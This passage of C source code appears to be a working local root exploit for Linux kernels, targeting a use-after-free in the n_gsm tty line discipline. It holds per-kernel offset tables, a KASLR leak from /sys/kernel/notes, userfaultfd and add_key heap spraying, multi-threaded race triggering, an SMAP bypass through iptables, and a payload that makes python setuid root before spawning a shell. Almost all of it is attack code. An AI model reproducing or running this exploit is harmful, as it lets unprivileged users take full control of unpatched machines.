{"4.15.0-62-generic", 0x00001000, 0x000b4f10, 0x01aed4a0, 0x001cc2a0, 0x00205c20}, 240 | {"4.15.0-60-generic", 0x00001000, 0x000b4f10, 0x01aed4a0, 0x001cc2a0, 0x00205c20}, 241 | {"4.15.0-58-generic", 0x00001000, 0x000b2c50, 0x01aea4a0, 0x001c6f40, 0x00200640}, 242 | {"4.15.0-55-generic", 0x00001000, 0x000b24d0, 0x01ae44a0, 0x001c6340, 0x001ff970}, 243 | {"4.15.0-54-generic", 0x00001000, 0x000b2260, 0x01ae44a0, 0x001c60d0, 0x001ff700}, 244 | {"4.15.0-52-generic", 0x00001000, 0x000b2230, 0x01ae44a0, 0x001c5df0, 0x001ff3f0}, 245 | {"4.15.0-51-generic", 0x00001000, 0x000b2230, 0x01ae44a0, 0x001c5df0, 0x001ff3f0}, 246 | {"4.15.0-50-generic", 0x00001000, 0x000b2230, 0x01ae64a0, 0x001c5df0, 0x001ff3f0}, 247 | {"4.15.0-48-generic", 0x00001000, 0x000b2210, 0x01ae44a0, 0x001c5dd0, 0x001ff3d0}, 248 | {"4.15.0-47-generic", 0x00001000, 0x000b0c90, 0x01ae44a0, 0x001c4810, 0x001fddc0}, 249 | {"4.15.0-46-generic", 0x00001000, 0x000b0c80, 0x01ae44a0, 0x001c3fa0, 0x001fd310}, 250 | {"4.15.0-45-generic", 0x00001000, 0x000b0af0, 0x01ae44a0, 0x001c3e20, 0x001fd0e0}, 251 | {"4.15.0-44-generic", 0x00001000, 0x000b0af0, 0x01ae44a0, 0x001c3e20, 0x001fd0e0}, 252 | {"4.15.0-43-generic", 0x00001000, 0x000b0ac0, 0x01ae44a0, 0x001c3ce0, 0x001fcfa0}, 253 | {"4.15.0-42-generic", 0x00001000, 0x000b0ac0, 0x01ae44a0, 0x001c3be0, 0x001fcea0}, 254 | {"4.15.0-39-generic", 0x00001000, 0x000b0ac0, 0x01ae44a0, 0x001c3b70, 0x001fce60}, 255 | {"4.15.0-38-generic", 0x00001000, 0x000b0ac0, 0x01ae44a0, 0x001c3b70, 0x001fce60}, 256 | {"4.15.0-36-generic", 0x00001000, 0x000b0a10, 0x01ae44a0, 0x001c3a30, 0x001fcd20}, 257 | {"4.15.0-34-generic", 0x00001000, 0x000b09a0, 0x01ae44a0, 0x001c3940, 0x001fcc40}, 258 | {"4.15.0-33-generic", 0x00001000, 0x000b08e0, 0x01ae44a0, 0x001c36d0, 0x001fc9d0}, 259 | {"4.15.0-32-generic", 0x00001000, 0x000b08f0, 0x01ae44a0, 0x001c36b0, 0x001fc930}, 260 | {"4.15.0-30-generic", 0x00001000, 0x000b0140, 0x01ae44a0, 0x001c2ec0, 0x001fc090}, 261 | {"4.15.0-29-generic", 0x00001000, 0x000b0140, 0x01ae44a0, 0x001c2ec0, 0x001fc090}, 262 | {"4.15.0-24-generic", 0x00001000, 0x000b0140, 0x01ae44a0, 0x001c2ec0, 0x001fc090}, 263 | {"4.15.0-23-generic", 0x00001000, 0x000b0150, 0x01ae44a0, 0x001c3170, 0x001fc2e0}, 264 | {"4.15.0-22-generic", 0x00001000, 0x000af120, 0x01ae34a0, 0x001c1fc0, 0x001fb130}, 265 | {"4.15.0-20-generic", 0x00001000, 0x000af080, 0x01ae34a0, 0x001c1ee0, 0x001fb050}, 266 | {}, 267 | }; 268 | 269 | // 270 | 271 | // 272 | static struct gsm_config gsm_conf; 273 | static int gsm_slave_fd = -1; 274 | static int gsm_master_fd =-1; 275 | static pid_t tids[4]; 276 | static pid_t sprayer_tids[NUM_SPRAY]; 277 | static int t0_done = 0; 278 | static int t1_done = 0; 279 | static int t2_done = 0; 280 | static pthread_barrier_t barr1; 281 | static pthread_barrier_t barr2; 282 | static pthread_barrier_t barr3; 283 | static pthread_barrier_t barr4; 284 | static struct kern_params *kernel_table = NULL; 285 | static struct kern_params *selected_kernel = NULL; 286 | static unsigned long kernel_base; 287 | static int num_cores; 288 | static pid_t sprayer_pid; 289 | static int sprayer_pipe[2]; 290 | static int sprayer_pipe2[2]; 291 | static int ufd_fd = -1; 292 | static int payload_setup = 0; 293 | // 294 | 295 | #ifdef VERBOSE 296 | static void _print(int lineno, int error, char *prefix, char *fmt, ...) 297 | { 298 | va_list va; 299 | 300 | printf("%s ", prefix); 301 | va_start(va, fmt); 302 | vprintf(fmt, va); 303 | va_end(va); 304 | 305 | if(error) printf(" (%s)", strerror(errno)); 306 | if(lineno) printf(" (line %d)", lineno); 307 | printf("\n"); 308 | } 309 | 310 | #define die(...) { _print(__LINE__, 1, "[-] Fatal:", __VA_ARGS__); exit(1); } 311 | #define warn(...) { _print(0, 0, "[!]", __VA_ARGS__); } 312 | #define info(...) { _print(0, 0, "[i]", __VA_ARGS__); } 313 | #define notice(...) { _print(0, 0, "[+]", __VA_ARGS__); } 314 | 315 | #else 316 | #define die(...) { printf("Fatal error\n"); exit(1); } 317 | #define warn(...) {} 318 | #define info(...) {} 319 | #define notice(...) {} 320 | #endif 321 | 322 | static unsigned char gsm_fcs8[256] = { 323 | 0x00, 0x91, 0xE3, 0x72, 0x07, 0x96, 0xE4, 0x75, 324 | 0x0E, 0x9F, 0xED, 0x7C, 0x09, 0x98, 0xEA, 0x7B, 325 | 0x1C, 0x8D, 0xFF, 0x6E, 0x1B, 0x8A, 0xF8, 0x69, 326 | 0x12, 0x83, 0xF1, 0x60, 0x15, 0x84, 0xF6, 0x67, 327 | 0x38, 0xA9, 0xDB, 0x4A, 0x3F, 0xAE, 0xDC, 0x4D, 328 | 0x36, 0xA7, 0xD5, 0x44, 0x31, 0xA0, 0xD2, 0x43, 329 | 0x24, 0xB5, 0xC7, 0x56, 0x23, 0xB2, 0xC0, 0x51, 330 | 0x2A, 0xBB, 0xC9, 0x58, 0x2D, 0xBC, 0xCE, 0x5F, 331 | 0x70, 0xE1, 0x93, 0x02, 0x77, 0xE6, 0x94, 0x05, 332 | 0x7E, 0xEF, 0x9D, 0x0C, 0x79, 0xE8, 0x9A, 0x0B, 333 | 0x6C, 0xFD, 0x8F, 0x1E, 0x6B, 0xFA, 0x88, 0x19, 334 | 0x62, 0xF3, 0x81, 0x10, 0x65, 0xF4, 0x86, 0x17, 335 | 0x48, 0xD9, 0xAB, 0x3A, 0x4F, 0xDE, 0xAC, 0x3D, 336 | 0x46, 0xD7, 0xA5, 0x34, 0x41, 0xD0, 0xA2, 0x33, 337 | 0x54, 0xC5, 0xB7, 0x26, 0x53, 0xC2, 0xB0, 0x21, 338 | 0x5A, 0xCB, 0xB9, 0x28, 0x5D, 0xCC, 0xBE, 0x2F, 339 | 0xE0, 0x71, 0x03, 0x92, 0xE7, 0x76, 0x04, 0x95, 340 | 0xEE, 0x7F, 0x0D, 0x9C, 0xE9, 0x78, 0x0A, 0x9B, 341 | 0xFC, 0x6D, 0x1F, 0x8E, 0xFB, 0x6A, 0x18, 0x89, 342 | 0xF2, 0x63, 0x11, 0x80, 0xF5, 0x64, 0x16, 0x87, 343 | 0xD8, 0x49, 0x3B, 0xAA, 0xDF, 0x4E, 0x3C, 0xAD, 344 | 0xD6, 0x47, 0x35, 0xA4, 0xD1, 0x40, 0x32, 0xA3, 345 | 0xC4, 0x55, 0x27, 0xB6, 0xC3, 0x52, 0x20, 0xB1, 346 | 0xCA, 0x5B, 0x29, 0xB8, 0xCD, 0x5C, 0x2E, 0xBF, 347 | 0x90, 0x01, 0x73, 0xE2, 0x97, 0x06, 0x74, 0xE5, 348 | 0x9E, 0x0F, 0x7D, 0xEC, 0x99, 0x08, 0x7A, 0xEB, 349 | 0x8C, 0x1D, 0x6F, 0xFE, 0x8B, 0x1A, 0x68, 0xF9, 350 | 0x82, 0x13, 0x61, 0xF0, 0x85, 0x14, 0x66, 0xF7, 351 | 0xA8, 0x39, 0x4B, 0xDA, 0xAF, 0x3E, 0x4C, 0xDD, 352 | 0xA6, 0x37, 0x45, 0xD4, 0xA1, 0x30, 0x42, 0xD3, 353 | 0xB4, 0x25, 0x57, 0xC6, 0xB3, 0x22, 0x50, 0xC1, 354 | 0xBA, 0x2B, 0x59, 0xC8, 0xBD, 0x2C, 0x5E, 0xCF 355 | }; 356 | 357 | #define GSM0_SOF 0xF9 358 | #define GSM1_SOF 0x7E 359 | #define UI 0x03 360 | #define EA 0x01 361 | #define PF 0x10 362 | #define SABM 0x2f 363 | #define DISC 0x43 364 | 365 | #define CMD_CLD 0x61 366 | #define CMD_FCOFF 0x31 367 | #define CMD_TEST 0x11 368 | 369 | #define INIT_FCS 0xFF 370 | #define GOOD_FCS 0xCF 371 | 372 | static unsigned char gsm_fcs_add_block(unsigned char fcs, unsigned char *c, int len) 373 | { 374 | while (len--) 375 | fcs = gsm_fcs8[fcs ^ *c++]; 376 | return fcs; 377 | } 378 | 379 | static void select_kernel() 380 | { 381 | int i; 382 | struct utsname uts; 383 | char name[128]; 384 | 385 | if(uname(&uts)) die("uname"); 386 | 387 | name[0] = 0; 388 | 389 | if(strlen(uts.release) + 1 > sizeof(name)) die("uname"); 390 | 391 | strcat(name, uts.release); 392 | 393 | for(i = 0; kernel_table[i].name != NULL; i++) 394 | { 395 | if(!strcmp(kernel_table[i].name, name)) { selected_kernel = &kernel_table[i]; break; } 396 | } 397 | 398 | if(selected_kernel == NULL) die("could not find kernel '%s'", name); 399 | 400 | notice("Found kernel '%s' [%s]", name, selected_kernel->run_cmd ? "run_cmd" : "commit_cred"); 401 | } 402 | 403 | static char *python_path() 404 | { 405 | if(!access("/usr/libexec/platform-python", F_OK)) return "/usr/libexec/platform-python"; 406 | if(!access("/usr/bin/python3", F_OK)) return "/usr/bin/python3"; 407 | die("python"); 408 | } 409 | 410 | static unsigned long xen_kaslr_leak() 411 | { 412 | int fd; 413 | unsigned int namesz, descsz, type, pad; 414 | char name[256]; 415 | char desc[256]; 416 | unsigned long p = 0; 417 | 418 | fd = open("/sys/kernel/notes", O_RDONLY); 419 | if(fd < 0) die("open"); 420 | 421 | while(1) 422 | { 423 | if(read(fd, &namesz, sizeof namesz) != sizeof namesz) break; 424 | if(read(fd, &descsz, sizeof descsz) != sizeof descsz) break; 425 | if(read(fd, &type, sizeof type) != sizeof type) break; 426 | 427 | if(namesz > sizeof name) die("notesz"); 428 | if(descsz > sizeof desc) die("descsz"); 429 | 430 | if(read(fd, &name, namesz) != namesz) break; 431 | if(read(fd, &desc, descsz) != descsz) break; 432 | 433 | if(!strcmp(name, "Xen") && type == 2 && descsz == 8) { p = *(unsigned long*)&desc; break; } 434 | 435 | pad = 4 - ((namesz + descsz) % 4); 436 | if(pad < 4) if(read(fd, &name, pad) != pad) break; 437 | } 438 | 439 | if(!p) die("could not find Xen elf note"); 440 | 441 | close(fd); 442 | 443 | return p; 444 | } 445 | 446 | pid_t gettid() 447 | { 448 | return syscall(SYS_gettid); 449 | } 450 | 451 | static int tkill(int tid, int sig) 452 | { 453 | return syscall(SYS_tkill, tid, sig); 454 | } 455 | 456 | static char get_state(pid_t pid, pid_t tid) 457 | { 458 | char path[64]; 459 | int fd; 460 | char buf[256]; 461 | int ret; 462 | char *p; 463 | 464 | snprintf(path, sizeof path, "/proc/%u/task/%u/stat", pid, tid); 465 | 466 | fd = open(path, O_RDONLY); 467 | if(fd < 0) return 0; 468 | 469 | ret = read(fd, &buf, sizeof buf - 1); 470 | if(ret < 0) { close(fd); return 0; } 471 | 472 | buf[ret] = 0; 473 | 474 | // 16275 (cat) R 16272 475 | 476 | p = buf; 477 | p = strtok(p, " "); 478 | if(!p) return 0; 479 | p = strtok(NULL, " "); 480 | if(!p) return 0; 481 | p = strtok(NULL, " "); 482 | if(!p) return 0; 483 | 484 | close(fd); 485 | 486 | return *p; 487 | } 488 | 489 | static void set_core(int core) 490 | { 491 | cpu_set_t set; 492 | 493 | CPU_ZERO(&set); 494 | CPU_SET(core, &set); 495 | 496 | if(sched_setaffinity(0, sizeof(set), &set)) die("sched_setaffinity failed, too few cores?"); 497 | } 498 | 499 | static int get_cores() 500 | { 501 | FILE *f; 502 | char buf[256]; 503 | int cnt = 0; 504 | 505 | f = fopen("/proc/cpuinfo", "r"); 506 | if(!f) die("/proc/cpuinfo?"); 507 | 508 | while(1) 509 | { 510 | fgets(buf, sizeof buf, f); 511 | if(strstr(buf, "MHz")) cnt++; 512 | 513 | if(feof(f) || ferror(f)) break; 514 | } 515 | 516 | fclose(f); 517 | 518 | return cnt; 519 | } 520 | 521 | static void prepare_smap_bypass(char *payload) 522 | { 523 | pid_t pid; 524 | int fd; 525 | char buf[128]; 526 | int a[2]; 527 | int b[2]; 528 | char c; 529 | char path[128]; 530 | 531 | if(pipe(a) < 0) die("pipe"); 532 | if(pipe(b) < 0) die("pipe"); 533 | 534 | pid = fork(); 535 | 536 | if(pid < 0) die("fork"); 537 | 538 | if(pid == 0) 539 | { 540 | unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWNET); 541 | 542 | write(a[1], &c, 1); 543 | read(b[0], &c, 1); 544 | 545 | system("mount -t tmpfs tmpfs /run"); 546 | 547 | fd = open("/dev/null", O_RDONLY); 548 | if(fd < 0) die("open"); 549 | 550 | if(dup2(fd, 2) < 0) die("dup2"); 551 | 552 | execl("/sbin/iptables", "iptables", "-A", "OUTPUT", "-m", "cgroup", "--path", payload, "-j", "LOG", NULL); 553 | exit(1); 554 | } 555 | 556 | read(a[0], &c, 1); 557 | 558 | snprintf(path, sizeof path, "/proc/%u/setgroups", pid); 559 | 560 | fd = open(path, O_RDWR); 561 | if(!fd) die("open"); 562 | 563 | strcpy(buf, "deny"); 564 | 565 | if(write(fd, buf, strlen(buf)) != strlen(buf)) die("write"); 566 | close(fd); 567 | 568 | snprintf(path, sizeof path, "/proc/%u/uid_map", pid); 569 | 570 | fd = open(path, O_RDWR); 571 | if(fd < 0) die("open"); 572 | 573 | snprintf(buf, sizeof buf, "0 %d 1", getuid()); 574 | 575 | if(write(fd, buf, strlen(buf)) != strlen(buf)) die("write"); 576 | close(fd); 577 | 578 | snprintf(path, sizeof path, "/proc/%u/gid_map", pid); 579 | 580 | fd = open(path, O_RDWR); 581 | if(fd < 0) die("open"); 582 | 583 | snprintf(buf, sizeof buf, "0 %d 1", getgid()); 584 | 585 | if(write(fd, buf, strlen(buf)) != strlen(buf)) die("write"); 586 | close(fd); 587 | 588 | write(b[1], &c, 1); 589 | 590 | close(a[0]); 591 | close(a[1]); 592 | close(b[0]); 593 | close(b[1]); 594 | 595 | wait(NULL); 596 | } 597 | 598 | 599 | static void sigusr1(int dummy) 600 | { 601 | } 602 | 603 | 604 | static void *sprayer_func(void *x) 605 | { 606 | char *buf = (char*)0x11370000; 607 | char c; 608 | int i = (long)x; 609 | 610 | sprayer_tids[i] = gettid(); 611 | 612 | read(sprayer_pipe[0], &c, 1); 613 | syscall(__NR_add_key, "user", "wtf", buf + 4096 - 1023, 1024, -123); 614 | die("unreachable"); 615 | 616 | return NULL; 617 | } 618 | 619 | 620 | static void sprayer() 621 | { 622 | char *buf; 623 | char *cp; 624 | struct uffdio_api api = { .api = UFFD_API, .features = UFFD_FEATURE_MISSING_SHMEM }; 625 | struct uffdio_register reg; 626 | long i; 627 | pid_t pid; 628 | pthread_t pts[NUM_SPRAY]; 629 | 630 | pipe(sprayer_pipe); 631 | pipe(sprayer_pipe2); 632 | 633 | pid = fork(); 634 | 635 | if(pid < 0) die("fork"); 636 | 637 | if(!pid) 638 | { 639 | if(prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0) < 0) die("prctl"); 640 | 641 | buf = mmap((void*)0x11370000, 4096*2, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); 642 | 643 | if(!buf) die("buf"); 644 | 645 | memset(buf, 0, 4096); 646 | 647 | cp = buf + 4096 - 1023; 648 | *(unsigned long*)cp = kernel_base + selected_kernel->kernfs_pr_cont_buf; // dlci->gsm 649 | 650 | cp = buf + 4096 - 1023 + 8; 651 | *(unsigned long*)cp = 0xdeadbeefdeadbeef; // dlci->addr/state, state != 0 != 3 652 | 653 | cp = buf + 4096 - 1023 + 80; 654 | *(unsigned long*)cp = kernel_base + selected_kernel->kmem_cache_size; // dlci->t1.function, dummy call 655 | 656 | 657 | ufd_fd = syscall(SYS_userfaultfd, O_NONBLOCK); 658 | if(ufd_fd < 0) die("userfaultfd"); 659 | 660 | if(ioctl(ufd_fd, UFFDIO_API, &api)) die("UFFDIO_API"); 661 | 662 | memset(®, 0, sizeof reg); 663 | reg.mode = UFFDIO_REGISTER_MODE_MISSING; 664 | reg.range.start = (unsigned long)buf; 665 | reg.range.len = 4096*2; 666 | 667 | if(ioctl(ufd_fd, UFFDIO_REGISTER, ®)) die("UFFDIO_REGISTER"); 668 | 669 | memset(&sprayer_tids, 0, sizeof sprayer_tids); 670 | 671 | for(i = 0; i < NUM_SPRAY; i++) 672 | { 673 | if(pthread_create(&pts[i], NULL, sprayer_func, (void*)i)) die("pthread_create"); 674 | } 675 | 676 | for(i = 0; i < NUM_SPRAY; i++) 677 | { 678 | while(get_state(getpid(), sprayer_tids[i]) == 'R'); 679 | } 680 | 681 | if(signal(SIGUSR1, sigusr1) == SIG_ERR) die("signal"); 682 | if(prctl(PR_SET_PDEATHSIG, SIGUSR1, 0, 0, 0) < 0) die("prctl"); 683 | 684 | // signal sprayer threads done 685 | write(sprayer_pipe2[1], &i, 1); 686 | 687 | sleep(60); // this gets interrupted if the parent exits 688 | sleep(5); 689 | exit(1); 690 | } 691 | 692 | sprayer_pid = pid; 693 | 694 | } 695 | 696 | static void cleanup_spray() 697 | { 698 | close(sprayer_pipe[0]); 699 | close(sprayer_pipe[1]); 700 | close(sprayer_pipe2[0]); 701 | close(sprayer_pipe2[1]); 702 | } 703 | 704 | 705 | static void skip_msg1(int fd) 706 | { 707 | unsigned char c; 708 | int sofs = 0; 709 | 710 | while(sofs != 2) 711 | { 712 | if(read(fd, &c, 1) != 1) die("read"); 713 | if(c == GSM1_SOF) sofs++; 714 | } 715 | } 716 | 717 | 718 | static void send_control_msg1(int fd, unsigned char addr, unsigned char control, unsigned char cr) 719 | { 720 | unsigned char cbuf[6]; 721 | 722 | cbuf[0] = GSM1_SOF; 723 | cbuf[1] = (addr << 2) | (cr << 1) | EA; 724 | cbuf[2] = control; 725 | cbuf[3] = 0xFF - gsm_fcs_add_block(INIT_FCS, cbuf + 1, 2); 726 | cbuf[4] = GSM1_SOF; 727 | 728 | if(write(fd, cbuf, 5) != 5) die("write"); 729 | if(tcdrain(fd)) die("tcdrain"); 730 | } 731 | 732 | 733 | static void send_control_cmd1(int fd, unsigned char addr, unsigned char control, unsigned char command, unsigned char cr) 734 | { 735 | unsigned char cbuf[8]; 736 | int i; 737 | unsigned char fc; 738 | 739 | cbuf[0] = GSM1_SOF; 740 | cbuf[1] = (addr << 2) | (cr << 1) | EA; 741 | cbuf[2] = control; 742 | cbuf[3] = (command << 1) | EA; // command 743 | cbuf[4] = EA; // command data len 0 744 | 745 | fc = gsm_fcs_add_block(INIT_FCS, &cbuf[1], 4); 746 | 747 | for(i = 0; i < 256; i++) 748 | { 749 | fc = gsm_fcs_add_block(INIT_FCS, &cbuf[1], 2); 750 | cbuf[5] = i; 751 | fc = gsm_fcs_add_block(fc, &cbuf[5], 1); 752 | 753 | fc = gsm_fcs_add_block(fc, &cbuf[3], 2); 754 | if(fc == 0xcf) break; 755 | } 756 | 757 | cbuf[6] = GSM1_SOF; 758 | 759 | if(write(fd, cbuf, 7) != 7) die("write"); 760 | if(tcdrain(fd)) die("tcdrain"); 761 | } 762 | 763 | 764 | static void *thread_func(void *arg) 765 | { 766 | int id = (long)arg; 767 | char *b = malloc(NUM_SPRAY); 768 | char c; 769 | 770 | memset(b, 0, NUM_SPRAY); 771 | 772 | tids[id] = gettid(); 773 | 774 | if(id == 0) set_core(0); 775 | if(id == 1) set_core(1); 776 | 777 | if(id == 2) 778 | { 779 | if(num_cores >= 3) set_core(2); 780 | else set_core(0); 781 | } 782 | 783 | if(id == 3) set_core(1); 784 | 785 | if(pthread_barrier_wait(&barr1) < PTHREAD_BARRIER_SERIAL_THREAD) die("pthread_barrier_wait"); 786 | 787 | if(id == 0) 788 | { 789 | // change t1, need_restart 790 | gsm_conf.t1 += 1; 791 | if(ioctl(gsm_slave_fd, GSMIOC_SETCONF, &gsm_conf)) die("setconf"); 792 | 793 | t0_done = 1; 794 | } 795 | else if(id == 1) 796 | { 797 | struct sched_param params; 798 | memset(¶ms, 0, sizeof params); 799 | if(sched_setscheduler(0, SCHED_IDLE, ¶ms)) die("sched_setscheduler"); 800 | 801 | if(pthread_barrier_wait(&barr2) < PTHREAD_BARRIER_SERIAL_THREAD) die("pthread_barrier_wait"); 802 | 803 | gsm_conf.t1 -= 1; 804 | gsm_conf.t2 += 1; 805 | 806 | ioctl(gsm_slave_fd, GSMIOC_SETCONF, &gsm_conf); 807 | if (!getuid()) execve("/bin/sh", (char **){ NULL }, NULL); 808 | t1_done = 1; 809 | } 810 | else if(id == 2) 811 | { 812 | skip_msg1(gsm_master_fd); 813 | while(get_state(getpid(), tids[0]) != 'D'); 814 | 815 | // open dlci 816 | send_control_msg1(gsm_master_fd, 0, SABM|PF, 0); 817 | skip_msg1(gsm_master_fd); 818 | 819 | // let t0 go and get stuck on wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED); 820 | send_control_cmd1(gsm_master_fd, 0, UI, CMD_CLD & ~1, 1); 821 | skip_msg1(gsm_master_fd); 822 | 823 | while(get_state(getpid(), tids[0]) != 'S'); 824 | 825 | // let t1 go and get stuck on the disconnect (ctrl wait) 826 | if(pthread_barrier_wait(&barr2) < PTHREAD_BARRIER_SERIAL_THREAD) die("pthread_barrier_wait"); 827 | skip_msg1(gsm_master_fd); 828 | 829 | while(get_state(getpid(), tids[1]) != 'D'); 830 | 831 | // start spinner(s?) 832 | if(pthread_barrier_wait(&barr3) < PTHREAD_BARRIER_SERIAL_THREAD) die("pthread_barrier_wait"); 833 | 834 | while(get_state(getpid(), tids[3]) != 'R'); 835 | 836 | // let t1 go and be woken, but hopefully still sleep in the wait 837 | send_control_msg1(gsm_master_fd, 0, SABM|PF, 0); // reopen dlci 0 838 | skip_msg1(gsm_master_fd); 839 | send_control_cmd1(gsm_master_fd, 0, UI, CMD_CLD & ~1, 1); // respond to control 840 | 841 | while(1) 842 | { 843 | c = get_state(getpid(), tids[1]); 844 | if(c == 'R') break; // started running 845 | if(c == 0) break; // exited 846 | } 847 | 848 | // let t0 go and free the dlci 849 | send_control_msg1(gsm_master_fd, 0, DISC|PF, 0); // disconnect 850 | skip_msg1(gsm_master_fd); // can ignore this? 851 | 852 | while(!t0_done); 853 | 854 | write(sprayer_pipe[1], b, NUM_SPRAY); 855 | 856 | read(sprayer_pipe2[0], b, 1); 857 | t2_done = 1; 858 | 859 | return NULL; 860 | 861 | 862 | } 863 | else if(id == 3) 864 | { 865 | if(pthread_barrier_wait(&barr3) < PTHREAD_BARRIER_SERIAL_THREAD) die("pthread_barrier_wait"); 866 | 867 | while(!t2_done); 868 | 869 | } 870 | else die("bad id"); 871 | 872 | return NULL; 873 | } 874 | 875 | static void *fastopen(void *arg) 876 | { 877 | skip_msg1(gsm_master_fd); 878 | send_control_msg1(gsm_master_fd, 0, SABM|PF, 0); 879 | skip_msg1(gsm_master_fd); 880 | send_control_cmd1(gsm_master_fd, 0, UI, CMD_CLD & ~1, 1); 881 | skip_msg1(gsm_master_fd); 882 | send_control_msg1(gsm_master_fd, 0, DISC|PF, 0); 883 | skip_msg1(gsm_master_fd); 884 | 885 | return NULL; 886 | } 887 | 888 | static void setup_tty(int *master_fd, int *slave_fd) 889 | { 890 | char *pts; 891 | int arg; 892 | pthread_t fo; 893 | 894 | // set up sploit mux 895 | *master_fd = open("/dev/ptmx", O_RDWR|O_CLOEXEC); 896 | if(*master_fd < 0) die("open"); 897 | 898 | if(grantpt(*master_fd)) die("grantpt"); 899 | if(unlockpt(*master_fd)) die("unlockpt"); 900 | 901 | pts = ptsname(*master_fd); 902 | if(!pts) die("ptsname"); 903 | 904 | *slave_fd = open(pts, O_RDWR|O_CLOEXEC); 905 | 906 | if(*slave_fd < 0) die("open"); 907 | 908 | arg = N_GSM0710; 909 | if(ioctl(*slave_fd, TIOCSETD, &arg)) die("ioctl"); 910 | 911 | if(ioctl(*slave_fd, GSMIOC_GETCONF, &gsm_conf)) die("getconf"); 912 | 913 | gsm_conf.t2 = 2000; 914 | gsm_conf.t1 = 1; 915 | gsm_conf.n2 = 3; 916 | 917 | // speed up the opening with a gsm1 sequence 918 | if(pthread_create(&fo, NULL, fastopen, (void*)0)) die("pthread_create"); 919 | 920 | if(ioctl(*slave_fd, GSMIOC_SETCONF, &gsm_conf)) die("setconf"); 921 | 922 | pthread_join(fo, NULL); 923 | 924 | } 925 | 926 | 927 | static void setup_payload() 928 | { 929 | char *buf, *tmp; 930 | unsigned long *lp; 931 | 932 | if(payload_setup) return; 933 | 934 | buf = malloc(512); 935 | if(!buf) die("malloc"); 936 | 937 | memset(buf, 'B', 512); 938 | 939 | buf[512 - 1] = 0; 940 | 941 | tmp = buf; 942 | memset(tmp, '/', 180); 943 | tmp = buf + 180; 944 | memcpy(tmp, "/a/b/c/d", 8); 945 | 946 | tmp = buf + 200; 947 | lp = (unsigned long*)tmp; 948 | *lp = kernel_base + selected_kernel->run_cmd; 949 | if (!selected_kernel->run_cmd) *lp = kernel_base + selected_kernel->commit_creds; 950 | 951 | tmp = buf + 224; 952 | lp = (unsigned long*)tmp; 953 | *lp = kernel_base + selected_kernel->kernfs_pr_cont_buf + 224 + 8; 954 | if (!selected_kernel->run_cmd) *lp = kernel_base + selected_kernel->init_cred; 955 | 956 | tmp = buf + 224 + 8; 957 | *tmp = 0; 958 | 959 | if(!access("/usr/bin/chmod", F_OK)) strcat(tmp, "/usr"); 960 | 961 | strcat(tmp, "/bin/chmod u+s "); 962 | strcat(tmp, python_path()); 963 | 964 | prepare_smap_bypass(buf); 965 | 966 | memset(buf, 'C', 512); 967 | 968 | tmp = buf; 969 | memset(tmp, '/', 112); 970 | tmp = buf + 112; 971 | memcpy(tmp, "/a/b/c/d", 8); 972 | 973 | tmp = buf + 144; 974 | lp = (unsigned long*)tmp; 975 | 976 | *lp = kernel_base + selected_kernel->__rb_free_aux; 977 | 978 | buf[144 + 8] = 0; 979 | 980 | prepare_smap_bypass(buf); 981 | 982 | free(buf); 983 | 984 | payload_setup = 1; 985 | } 986 | 987 | static void setup() 988 | { 989 | select_kernel(); 990 | kernel_base = xen_kaslr_leak(); 991 | 992 | kernel_base -= selected_kernel->hypercall_page; 993 | 994 | notice("Found kernel .text, 0x%.16lx", kernel_base); 995 | 996 | sprayer(); 997 | 998 | num_cores = get_cores(); 999 | if(num_cores < 2) die("need at least 2 cores"); 1000 | if(num_cores < 3) warn("need at least 3 cores ideally, found %u", num_cores); 1001 | 1002 | // alloc the dlci on core 2 1003 | if(num_cores >= 3) set_core(2); 1004 | else set_core(1); 1005 | 1006 | setup_tty(&gsm_master_fd, &gsm_slave_fd); 1007 | setup_payload(); 1008 | 1009 | // thread globals 1010 | if(pthread_barrier_init(&barr1, NULL, 4)) die("pthread_barrier_init"); 1011 | if(pthread_barrier_init(&barr2, NULL, 2)) die("pthread_barrier_init"); 1012 | if(pthread_barrier_init(&barr3, NULL, 2)) die("pthread_barrier_init"); 1013 | if(pthread_barrier_init(&barr4, NULL, 2)) die("pthread_barrier_init"); 1014 | t0_done = 0; 1015 | t1_done = 0; 1016 | t2_done = 0; 1017 | 1018 | if(signal(SIGUSR1, sigusr1) == SIG_ERR) die("signal"); 1019 | } 1020 | 1021 | static void cleanup() 1022 | { 1023 | if(gsm_slave_fd != -1) close(gsm_slave_fd); 1024 | gsm_slave_fd = -1; 1025 | if(gsm_master_fd != -1) close(gsm_master_fd); 1026 | gsm_master_fd = -1; 1027 | 1028 | cleanup_spray(); 1029 | 1030 | memset(&tids, 0, sizeof tids); 1031 | t0_done = t1_done = t2_done = 0; 1032 | 1033 | pthread_barrier_destroy(&barr1); 1034 | pthread_barrier_destroy(&barr2); 1035 | pthread_barrier_destroy(&barr3); 1036 | pthread_barrier_destroy(&barr4); 1037 | } 1038 | 1039 | static int do_sploit() 1040 | { 1041 | time_t stime; 1042 | 1043 | pthread_t thread0; 1044 | pthread_t thread1; 1045 | pthread_t thread2; 1046 | pthread_t thread3; 1047 | 1048 | setup(); 1049 | 1050 | if(pthread_create(&thread0, NULL, thread_func, (void*)0)) die("pthread_create"); 1051 | if(pthread_create(&thread1, NULL, thread_func, (void*)1)) die("pthread_create"); 1052 | if(pthread_create(&thread2, NULL, thread_func, (void*)2)) die("pthread_create"); 1053 | if(pthread_create(&thread3, NULL, thread_func, (void*)3)) die("pthread_create"); 1054 | 1055 | pthread_join(thread0, NULL); 1056 | pthread_join(thread2, NULL); 1057 | pthread_join(thread3, NULL); 1058 | 1059 | stime = time(NULL); 1060 | while(time(NULL) - stime <= 10) 1061 | { 1062 | if(t1_done) break; 1063 | if(get_state(getpid(), tids[1]) == 'S') break; 1064 | } 1065 | 1066 | if(!t1_done) 1067 | { 1068 | notice("UAF seems to have hit"); 1069 | tkill(tids[1], SIGUSR1); 1070 | } 1071 | else 1072 | { 1073 | info("UAF seems to have missed :("); 1074 | } 1075 | 1076 | pthread_join(thread1, NULL); 1077 | cleanup(); 1078 | 1079 | return 0; 1080 | } 1081 | 1082 | static int check_win() 1083 | { 1084 | struct stat st; 1085 | 1086 | if(stat(python_path(), &st)) die("stat"); 1087 | 1088 | return st.st_mode & S_ISUID; 1089 | } 1090 | 1091 | static void spawn_shell() 1092 | { 1093 | execl(python_path(), "python", "-c", PYTHON_PAYLOAD, NULL); 1094 | die("exec"); 1095 | } 